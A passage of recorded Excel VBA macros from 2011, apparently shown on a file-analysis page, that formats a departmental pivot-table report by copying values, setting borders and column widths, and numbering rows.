    ActiveWindow.ScrollRow = 164
    ActiveWindow.ScrollRow = 161
    ActiveWindow.ScrollRow = 159
    ActiveWindow.ScrollRow = 156
    ActiveWindow.ScrollRow = 154
    ActiveWindow.ScrollRow = 151
    ActiveWindow.ScrollRow = 149
    ActiveWindow.ScrollRow = 147
    ActiveWindow.ScrollRow = 144
    ActiveWindow.ScrollRow = 142
    ActiveWindow.ScrollRow = 139
    ActiveWindow.ScrollRow = 137
    ActiveWindow.ScrollRow = 134
    ActiveWindow.ScrollRow = 132
    ActiveWindow.ScrollRow = 130
    ActiveWindow.ScrollRow = 127
    ActiveWindow.ScrollRow = 125
    ActiveWindow.ScrollRow = 122
    ActiveWindow.ScrollRow = 117
    ActiveWindow.ScrollRow = 115
    ActiveWindow.ScrollRow = 113
    ActiveWindow.ScrollRow = 110
    ActiveWindow.ScrollRow = 108
    ActiveWindow.ScrollRow = 105
    ActiveWindow.ScrollRow = 103
    ActiveWindow.ScrollRow = 100
    ActiveWindow.ScrollRow = 98
    ActiveWindow.ScrollRow = 96
    ActiveWindow.ScrollRow = 93
    ActiveWindow.ScrollRow = 91
    ActiveWindow.ScrollRow = 88
    ActiveWindow.ScrollRow = 86
    ActiveWindow.ScrollRow = 88
    ActiveWindow.ScrollRow = 91
    ActiveWindow.ScrollRow = 98
    ActiveWindow.ScrollRow = 103
    ActiveWindow.ScrollRow = 110
    ActiveWindow.ScrollRow = 117
    ActiveWindow.ScrollRow = 122
    ActiveWindow.ScrollRow = 130
    ActiveWindow.ScrollRow = 134
    ActiveWindow.ScrollRow = 139
    ActiveWindow.ScrollRow = 142
    ActiveWindow.ScrollRow = 144
    ActiveWindow.ScrollRow = 147
    ActiveWindow.ScrollRow = 151
    ActiveWindow.ScrollRow = 156
    ActiveWindow.ScrollRow = 159
    ActiveWindow.ScrollRow = 164
    ActiveWindow.ScrollRow = 168
    ActiveWindow.ScrollRow = 176
    ActiveWindow.ScrollRow = 178
    ActiveWindow.ScrollRow = 183
    ActiveWindow.ScrollRow = 185
    ActiveWindow.ScrollRow = 188
    ActiveWindow.ScrollRow = 185
    ActiveWindow.ScrollRow = 180
    ActiveWindow.ScrollRow = 178
    ActiveWindow.ScrollRow = 176
    ActiveWindow.ScrollRow = 171
    ActiveWindow.ScrollRow = 168
    ActiveWindow.ScrollRow = 166
    ActiveWindow.ScrollRow = 161
    ActiveWindow.ScrollRow = 159
    ActiveWindow.ScrollRow = 156
    ActiveWindow.ScrollRow = 154
    ActiveWindow.ScrollRow = 151
    ActiveWindow.ScrollRow = 149
    ActiveWindow.ScrollRow = 147
    ActiveWindow.ScrollRow = 144
    ActiveWindow.ScrollRow = 142
    ActiveWindow.ScrollRow = 139
    ActiveWindow.ScrollRow = 137
    ActiveWindow.ScrollRow = 134
    ActiveWindow.ScrollRow = 132
    ActiveWindow.ScrollRow = 130
    ActiveWindow.ScrollRow = 127
    ActiveWindow.ScrollRow = 125
    ActiveWindow.ScrollRow = 122
    ActiveWindow.ScrollRow = 120
    ActiveWindow.ScrollRow = 117
    ActiveWindow.ScrollRow = 115
    ActiveWindow.ScrollRow = 113
    ActiveWindow.ScrollRow = 110
    ActiveWindow.ScrollRow = 108
    Range("A125:P125").Select
    Selection.Borders(xlDiagonalDown).LineStyle = xlNone
    Selection.Borders(xlDiagonalUp).LineStyle = xlNone
    With Selection.Borders(xlEdgeLeft)
        .LineStyle = xlContinuous
        .Weight = xlThin
        .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlEdgeTop)
        .LineStyle = xlContinuous
        .Weight = xlThin
        .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlEdgeBottom)
        .LineStyle = xlContinuous
        .Weight = xlThin
        .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlEdgeRight)
        .LineStyle = xlContinuous
        .Weight = xlThin
        .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlInsideVertical)
        .LineStyle = xlContinuous
        .Weight = xlThin
        .ColorIndex = xlAutomatic
    End With
    With Selection.Borders(xlInsideHorizontal)
        .LineStyle = xlContinuous
        .Weight = xlThin
        .ColorIndex = xlAutomatic
    End With
    Range("F129").Select
    ActiveWindow.SmallScroll Down:=-126
End Sub
Sub 部門11()
Attribute 部門11.VB_Description = "peggy_chen 在 2011/11/14 錄製的巨集"
Attribute 部門11.VB_ProcData.VB_Invoke_Func = " \n14"
'
' 部門11 Macro
' peggy_chen 在 2011/11/14 錄製的巨集
'

'
    ActiveWindow.SmallScroll Down:=-12
    ActiveSheet.PivotTables("樞紐分析表2").PivotSelect "", xlDataAndLabel, True
    ActiveWindow.SmallScroll Down:=-261
    Range("E36").Select
    ActiveWindow.SmallScroll Down:=-24
    Range("A5:P32").Select
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    ActiveWindow.SmallScroll Down:=-27
    Cells.Select
    Selection.Copy
    Sheets("11").Select
    Cells.Select
    Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
        :=False, Transpose:=False
    ActiveWindow.SmallScroll Down:=6
    Range("C35").Select
    ActiveWindow.SmallScroll Down:=-54
    Range("A5:P32").Select
    Application.CutCopyMode = False
    Range("A4:L8").Select
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    Cells.Select
    Range("F18").Select
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    ActiveWindow.SmallScroll Down:=6
    Columns("B:B").ColumnWidth = 8.5
    ActiveWindow.SmallScroll Down:=-24
    Columns("D:D").ColumnWidth = 4.63
    Columns("E:E").ColumnWidth = 6.88
    ActiveWindow.SmallScroll Down:=-6
    Columns("F:F").ColumnWidth = 28
    ActiveWindow.SmallScroll Down:=6
    Columns("F:F").ColumnWidth = 26.63
    Columns("G:G").ColumnWidth = 23.13
    ActiveWindow.SmallScroll Down:=-9
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.SmallScroll Down:=9
    Columns("H:H").ColumnWidth = 4
    ActiveWindow.SmallScroll Down:=-12
    Columns("I:I").ColumnWidth = 32.38
    ActiveWindow.SmallScroll Down:=-3
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    Range("K4").Select
    Columns("J:J").ColumnWidth = 8.75
    Columns("J:J").ColumnWidth = 8
    Columns("K:K").ColumnWidth = 9.38
    Columns("K:K").ColumnWidth = 8.13
    Columns("K:K").ColumnWidth = 9.63
    ActiveWindow.SmallScroll Down:=-12
    Columns("K:K").ColumnWidth = 8.88
    ActiveWindow.SmallScroll Down:=0
    Range("J5:K31").Select
    Selection.NumberFormatLocal = "#,##0_ "
    ActiveWindow.SmallScroll Down:=6
    Columns("L:L").ColumnWidth = 15.13
    ActiveWindow.SmallScroll Down:=-12
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.SmallScroll Down:=-3
    Columns("M:M").ColumnWidth = 8.25
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 13
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 1
    ActiveWindow.SmallScroll Down:=-3
    Range("A5").Select
    ActiveCell.FormulaR1C1 = "=ROW()-4"
    Range("A5").Select
    Selection.Copy
    Range("A6:A31").Select
    ActiveSheet.Paste
    ActiveWindow.SmallScroll Down:=-6
    ActiveWindow.ScrollColumn = 2
    ActiveWindow.ScrollColumn = 3
    ActiveWindow.ScrollColumn = 4
    ActiveWindow.ScrollColumn = 5
    ActiveWindow.ScrollColumn = 6
    ActiveWindow.ScrollColumn = 7
    ActiveWindow.ScrollColumn = 8
    ActiveWindow.ScrollColumn = 9
    ActiveWindow.ScrollColumn = 10
    ActiveWindow.ScrollColumn = 11
    ActiveWindow.ScrollColumn = 12
    ActiveWindow.ScrollColumn = 13
    ActiveWindow.ScrollColumn = 12
…

Open this report in the interactive analyzer, or submit your own file for analysis.